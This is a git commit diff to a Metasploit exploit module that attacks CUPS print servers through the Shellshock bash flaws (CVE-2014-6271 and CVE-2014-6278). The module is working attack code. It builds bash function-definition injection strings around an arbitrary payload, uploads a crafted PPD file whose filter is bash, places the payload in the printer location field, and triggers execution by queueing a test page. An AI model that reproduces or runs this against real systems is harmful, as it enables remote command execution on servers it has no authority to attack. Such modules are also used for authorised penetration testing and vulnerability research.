Add check() and support CVE-2014-6278
parent
0ede70e7f6
commit
554935e60b
|
@ -6,7 +6,7 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
Rank = GoodRanking
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -19,10 +19,12 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
},
|
||||
'Author' => [
|
||||
'Stephane Chazelas', # Vulnerability discovery
|
||||
'lcamtuf', # CVE-2014-6278
|
||||
'Brendan Coles <bcoles[at]gmail.com>' # msf
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2014-6271'],
|
||||
['CVE', '2014-6278'],
|
||||
['EDB', '34765'],
|
||||
['URL', 'https://access.redhat.com/articles/1200223'],
|
||||
['URL', 'http://seclists.org/oss-sec/2014/q3/649']
|
||||
|
@ -32,38 +34,68 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
'Platform' => 'unix',
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => "\x00\x0A\x0D\x22",
|
||||
'DisableNops' => true,
|
||||
'Space' => 1024,
|
||||
'BadChars' => "\x00\x0A\x0D",
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Compat' =>
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic bash netcat perl',
|
||||
'RequiredCmd' => 'generic bash awk ruby'
|
||||
},
|
||||
# Tested on CUPS 1.4.3
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Automatic Targeting', { 'auto' => true }
|
||||
],
|
||||
],
|
||||
# Tested on CUPS 1.4.3 and 1.5.3
|
||||
'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Sep 24 2014',
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
register_options([
|
||||
Opt::RPORT(631),
|
||||
OptString.new('USERNAME', [ true, 'CUPS username', '']),
|
||||
OptString.new('PASSWORD', [ true, 'CUPS password', ''])
|
||||
OptBool.new('SSL', [ true, 'Use SSL', true ]),
|
||||
OptString.new('USERNAME', [ true, 'CUPS username', 'root']),
|
||||
OptString.new('PASSWORD', [ true, 'CUPS user password', '']),
|
||||
OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]),
|
||||
OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Check
|
||||
# CVE-2014-6271
|
||||
#
|
||||
def cve_2014_6271(cmd)
|
||||
%{() { :;}; $(#{cmd}) & }
|
||||
end
|
||||
|
||||
#
|
||||
# CVE-2014-6278
|
||||
#
|
||||
def cve_2014_6278(cmd)
|
||||
%{() { _; } >_[$($())] { $(#{cmd}) & }}
|
||||
end
|
||||
|
||||
#
|
||||
# Check credentials
|
||||
#
|
||||
def check
|
||||
Exploit::CheckCode::Unknown
|
||||
@cookie = rand_text_alphanumeric(16)
|
||||
printer_name = rand_text_alphanumeric(10 + rand(5))
|
||||
res = add_printer(printer_name, '')
|
||||
if !res
|
||||
vprint_error("#{peer} - No response from host")
|
||||
return Exploit::CheckCode::Unknown
|
||||
elsif res.body =~ /Set Default Options for #{printer_name}/
|
||||
vprint_good("#{peer} - Added printer successfully")
|
||||
delete_printer(printer_name)
|
||||
return Exploit::CheckCode::Detected
|
||||
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
|
||||
vprint_error("#{peer} - Authentication failed")
|
||||
return Exploit::CheckCode::Detected
|
||||
elsif res.code == 426
|
||||
vprint_error("#{peer} - SSL required - set SSL true")
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -71,49 +103,69 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
#
|
||||
def exploit
|
||||
@cookie = rand_text_alphanumeric(16)
|
||||
printer_name = rand_text_alphanumeric(10)
|
||||
printer_name = rand_text_alphanumeric(10 + rand(5))
|
||||
|
||||
# Create a printer with a CUPS filter pointing to /bin/bash
|
||||
res = create_printer(printer_name)
|
||||
# Select target CVE
|
||||
case datastore['CVE']
|
||||
when 'CVE-2014-6278'
|
||||
cmd = cve_2014_6278(payload.raw)
|
||||
else
|
||||
cmd = cve_2014_6271(payload.raw)
|
||||
end
|
||||
|
||||
# Add a printer containing the payload
|
||||
# with a CUPS filter pointing to /bin/bash
|
||||
res = add_printer(printer_name, cmd)
|
||||
if !res
|
||||
print_error("#{peer} - Request failed")
|
||||
return
|
||||
elsif res.code == 426
|
||||
print_error("#{peer} - Authentication failed")
|
||||
return
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.")
|
||||
elsif res.body =~ /Set Default Options for #{printer_name}/
|
||||
print_good("#{peer} - Created printer successfully")
|
||||
print_good("#{peer} - Added printer successfully")
|
||||
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
|
||||
fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.")
|
||||
elsif res.code == 426
|
||||
fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Could not add printer.")
|
||||
end
|
||||
|
||||
# Request a printer test page.
|
||||
# Add a test page to the print queue.
|
||||
# The print job triggers execution of the bash filter
|
||||
# which executes the payload in the env vars.
|
||||
# which executes the payload in the environment variables.
|
||||
res = print_test_page(printer_name)
|
||||
if !res || res.code != 200
|
||||
print_error("#{peer} - Request failed")
|
||||
return
|
||||
end
|
||||
if res.body =~ /Test page sent; job ID is/
|
||||
print_status "#{peer} - Test page sent successfully"
|
||||
if !res
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.")
|
||||
elsif res.body =~ /Test page sent; job ID is/
|
||||
vprint_good("#{peer} - Added test page to printer queue")
|
||||
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
|
||||
fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.")
|
||||
elsif res.code == 426
|
||||
fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Could not add test page to print queue.")
|
||||
end
|
||||
|
||||
# Delete the printer
|
||||
res = delete_printer(printer_name)
|
||||
if !res || res.code != 200
|
||||
print_error("#{peer} - Request failed")
|
||||
return
|
||||
end
|
||||
if res.body =~ /has been deleted successfully/
|
||||
print_status "#{peer} - Deleted printer '#{printer_name}' successfully"
|
||||
if !res
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.")
|
||||
elsif res.body =~ /has been deleted successfully/
|
||||
print_status("#{peer} - Deleted printer '#{printer_name}' successfully")
|
||||
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
|
||||
vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - Authentication failed.")
|
||||
elsif res.code == 426
|
||||
vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true.")
|
||||
else
|
||||
vprint_warning("#{peer} - Could not delete printer '#{printer_name}'")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Create a printer
|
||||
# Add a printer to CUPS
|
||||
#
|
||||
def create_printer printer_name
|
||||
print_status "#{peer} - Creating printer '#{printer_name}'"
|
||||
def add_printer(printer_name, cmd)
|
||||
vprint_status("#{peer} - Adding new printer '#{printer_name}'")
|
||||
|
||||
ppd_name = "#{rand_text_alphanumeric(10 + rand(5))}.ppd"
|
||||
ppd_file = <<-EOF
|
||||
*PPD-Adobe: "4.3"
|
||||
*%==== General Information Keywords ========================
|
||||
|
@ -121,89 +173,95 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
*FileVersion: "1.00"
|
||||
*LanguageVersion: English
|
||||
*LanguageEncoding: ISOLatin1
|
||||
*PCFileName: "MFC3820CN.PPD"
|
||||
*PCFileName: "#{ppd_name}"
|
||||
*Manufacturer: "Brother"
|
||||
*Product: "(Brother MFC-3820CN)"
|
||||
*1284DeviceID: "MFG:Brother;MDL:MFC-3820CN"
|
||||
*cupsVersion: 1.1
|
||||
*cupsManualCopies: False
|
||||
*cupsFilter: "application/vnd.cups-postscript 0 ../../../../../../../../../../bin/bash"
|
||||
*cupsModelNumber: 5
|
||||
*cupsFilter: "application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash"
|
||||
*cupsModelNumber: #{rand(10) + 1}
|
||||
*ModelName: "Brother MFC-3820CN"
|
||||
*ShortNickName: "Brother MFC-3820CN"
|
||||
*NickName: "Brother MFC-3820CN CUPS v1.1"
|
||||
*PSVersion: "(3010.106) 3"
|
||||
*%
|
||||
*%==== Basic Device Capabilities =============
|
||||
*LanguageLevel: "3"
|
||||
*ColorDevice: True
|
||||
*DefaultColorSpace: RGB
|
||||
*FileSystem: False
|
||||
*Throughput: "12"
|
||||
*LandscapeOrientation: Plus90
|
||||
*VariablePaperSize: False
|
||||
*TTRasterizer: Type42
|
||||
*FreeVM: "1700000"
|
||||
|
||||
*DefaultOutputOrder: Reverse
|
||||
*%==== Media Selection ======================
|
||||
|
||||
*OpenUI *PageSize/Media Size: PickOne
|
||||
*OrderDependency: 18 AnySetup *PageSize
|
||||
*DefaultPageSize: BrLetter
|
||||
*PageSize BrA4/A4: "<</PageSize[595 842]/ImagingBBox null>>setpagedevice"
|
||||
*PageSize BrLetter/Letter: "<</PageSize[612 792]/ImagingBBox null>>setpagedevice"
|
||||
EOF
|
||||
|
||||
shock = "() { :;}; /bin/bash -c \"#{payload.raw} &\""
|
||||
|
||||
pd = Rex::MIME::Message.new
|
||||
pd.add_part(ppd_file, "application/octet-stream", nil, "form-data; name=\"PPD_FILE\"; filename=\"#{rand_text_alphanumeric(10)}.ppd\"")
|
||||
pd.add_part("#{@cookie}", nil, nil, "form-data; name=\"org.cups.sid\"")
|
||||
pd.add_part("add-printer", nil, nil, "form-data; name=\"OP\"")
|
||||
pd.add_part("#{printer_name}", nil, nil, "form-data; name=\"printer_name\"")
|
||||
pd.add_part("#{printer_name}", nil, nil, "form-data; name=\"PRINTER_NAME\"")
|
||||
pd.add_part("", nil, nil, "form-data; name=\"PRINTER_INFO\"") # injectable
|
||||
pd.add_part("#{shock}", nil, nil, "form-data; name=\"PRINTER_LOCATION\"") # injectable
|
||||
pd.add_part("file:///dev/null", nil, nil, "form-data; name=\"DEVICE_URI\"")
|
||||
pd.add_part('', nil, nil, "form-data; name=\"PRINTER_IS_SHARED\"")
|
||||
pd.add_part('262144', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"") # default value
|
||||
pd.add_part(ppd_file, 'application/octet-stream', nil, %(form-data; name="PPD_FILE"; filename="#{ppd_name}"))
|
||||
pd.add_part("#{@cookie}", nil, nil, %(form-data; name="org.cups.sid"))
|
||||
pd.add_part("add-printer", nil, nil, %(form-data; name="OP"))
|
||||
pd.add_part("#{printer_name}", nil, nil, %(form-data; name="PRINTER_NAME"))
|
||||
pd.add_part("", nil, nil, %(form-data; name="PRINTER_INFO")) # injectable
|
||||
pd.add_part("#{cmd}", nil, nil, %(form-data; name="PRINTER_LOCATION")) # injectable
|
||||
pd.add_part("file:///dev/null", nil, nil, %(form-data; name="DEVICE_URI"))
|
||||
|
||||
data = pd.to_s
|
||||
data.strip!
|
||||
|
||||
res = send_request_cgi({
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin'),
|
||||
'ctype' => "multipart/form-data; boundary=#{pd.bound}",
|
||||
'data' => data,
|
||||
'cookie' => "org.cups.sid=#{@cookie};",
|
||||
'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']),
|
||||
})
|
||||
|
||||
return res
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
# Print a test page
|
||||
# Queue a printer test page
|
||||
#
|
||||
def print_test_page printer_name
|
||||
print_status "#{peer} - Requesting printer test page"
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path,'printers',printer_name),
|
||||
'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']),
|
||||
'cookie' => "org.cups.sid=#{@cookie}",
|
||||
'vars_post' => {
|
||||
'org.cups.sid' => @cookie,
|
||||
'OP' => 'print-test-page'
|
||||
}
|
||||
def print_test_page(printer_name)
|
||||
vprint_status("#{peer} - Adding test page to printer queue")
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'printers', printer_name),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'cookie' => "org.cups.sid=#{@cookie}",
|
||||
'vars_post' => {
|
||||
'org.cups.sid' => @cookie,
|
||||
'OP' => 'print-test-page'
|
||||
}
|
||||
)
|
||||
return res
|
||||
end
|
||||
|
||||
#
|
||||
# Delete a printer
|
||||
#
|
||||
def delete_printer printer_name
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path,'admin'),
|
||||
'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']),
|
||||
'cookie' => "org.cups.sid=#{@cookie}",
|
||||
'vars_post' => {
|
||||
'org.cups.sid' => @cookie,
|
||||
'OP' => 'delete-printer',
|
||||
'printer_name' => printer_name,
|
||||
'confirm' => 'Delete Printer'
|
||||
}
|
||||
def delete_printer(printer_name)
|
||||
vprint_status("#{peer} - Deleting printer '#{printer_name}'")
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin'),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'cookie' => "org.cups.sid=#{@cookie}",
|
||||
'vars_post' => {
|
||||
'org.cups.sid' => @cookie,
|
||||
'OP' => 'delete-printer',
|
||||
'printer_name' => printer_name,
|
||||
'confirm' => 'Delete Printer'
|
||||
}
|
||||
)
|
||||
return res
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue